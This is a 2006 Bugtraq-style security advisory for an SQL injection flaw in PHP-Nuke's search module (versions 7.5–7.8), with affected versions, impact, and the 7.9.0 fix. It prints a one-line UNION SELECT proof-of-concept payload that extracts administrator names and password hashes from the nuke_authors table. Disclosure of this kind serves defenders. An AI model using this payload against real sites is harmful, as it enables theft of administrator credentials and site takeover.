PHPNuke Index.PHP Search Module SQL Injection Vulnerability

Bugtraq ID:	16732
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 20 2006 12:00AM
Updated:	Feb 22 2006 06:12PM
Credit:	Janek Vind is credited with the discovery of this vulnerability.
Vulnerable:	PHP-Nuke PHP-Nuke 7.7 PHP-Nuke PHP-Nuke 7.6 PHP-Nuke PHP-Nuke 7.5 Francisco Burzi PHP-Nuke 7.8
Not Vulnerable:	PHP-Nuke PHP-Nuke 7.9

PHPNuke Index.PHP Search Module SQL Injection Vulnerability


PHPNuke is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Versions 7.5.0 up to 7.8.0 are vulnerable; other versions may also be affected.

PHPNuke Index.PHP Search Module SQL Injection Vulnerability


No exploit is required.

The following proof of concept is available:


p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*

PHPNuke Index.PHP Search Module SQL Injection Vulnerability

Solution:

The vendor has released version 7.9.0 to address this issue.


PHP-Nuke PHP-Nuke 7.5

• PHP-Nuke PHP-Nuke version 7.9.0.
  http://phpnuke.org/modules.php?name=Release

PHP-Nuke PHP-Nuke 7.6

• PHP-Nuke PHP-Nuke version 7.9.0.
  http://phpnuke.org/modules.php?name=Release

PHP-Nuke PHP-Nuke 7.7

• PHP-Nuke PHP-Nuke version 7.9.0.
  http://phpnuke.org/modules.php?name=Release

PHPNuke Index.PHP Search Module SQL Injection Vulnerability

References:

• PHP-Nuke Product Page (Francisco Burzi)
  
• PHPNuke INP Homepage (PHPNuke INP)
  
• [waraxe-2006-SA#046] - Critical sql injection in phpNuke 7.5-7.8 ([email protected])